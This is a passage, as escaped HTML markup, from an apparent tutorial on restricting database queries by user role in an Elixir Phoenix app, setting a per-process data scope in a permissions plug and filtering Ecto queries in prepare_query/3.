&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ignore&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Add this line&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Phoenix.ConnTest&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;build_conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These two lines of code will prompt the Repo to ignore the query restrictions by default when we run our tests. We can&apos;t forget about our &lt;code&gt;seeds.exs&lt;/code&gt; script though. It should also ignore the query restrictions. Add the following command to your &lt;code&gt;seeds.exs&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ignore&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Add this line&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;default_roles&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;unless&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.RAP&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_role_by_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.RAP&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, set up your repo and run your tests again. They should succeed. We successfully disabled the check in &lt;code&gt;prepare_query/3&lt;/code&gt; for all existing tests. Yey!&lt;/p&gt;
&lt;p&gt;Okay, we set up the basics for restricting our queries, but two more steps are missing: We need to set the data scope based on the role of the requesting user and we need to actually restrict our query. Let&apos;s start with the first.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#set-the-data-scope&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;set-the-data-scope&quot;&gt;&lt;/a&gt;Set the Data Scope&lt;/h2&gt;
&lt;p&gt;We want to set the &lt;code&gt;data_scope&lt;/code&gt; and &lt;code&gt;user_id&lt;/code&gt; fields at the top of our controllers. We could create a dedicated plug to do so, but I&apos;ll reuse the existing &lt;code&gt;CheckPermissions&lt;/code&gt; plug for this. Setting the data scope and user_id takes only two lines of code. See here:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.Plugs.CheckPermissions&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# imports and init/1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;required_permission&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_required_permission&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Permissions&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;user_has_permission?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;required_permission&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Add this line&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Add this line&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;else&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_status&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:forbidden&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;halt&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Private functions&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, we set the data scope after checking the permissions of a user. Again, every request spawns a new process and we set the &lt;code&gt;data_scope&lt;/code&gt; field on that process and that process alone. Thanks to the actor model of the BEAM, the data scope of one user won&apos;t interfere with the data scope of another. Neat!&lt;/p&gt;
&lt;p&gt;Now onto the last step: Actually restricting the query.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#restrict-the-query&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;restrict-the-query&quot;&gt;&lt;/a&gt;Restrict the Query&lt;/h2&gt;
&lt;p&gt;Restricting the query is the easy part. All we want is to add a simple &lt;code&gt;where: user.group == :external&lt;/code&gt; or &lt;code&gt;where: user.id == ^user_id&lt;/code&gt; statement to the query. Let&apos;s do that next:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# get/put_data_scope and get/put_user_id&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;prepare_query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_operation&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;cond&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:schema_migration&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ignore&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Add this line&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;raise&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;expected data_scope to be set&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Add these functions here or move them to a dedicated handler for the address schema&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;source: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;addresses&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_module&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;do_restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;do_restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:internal&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;address&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;left_join: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assoc&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;address&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;group&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:internal&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;
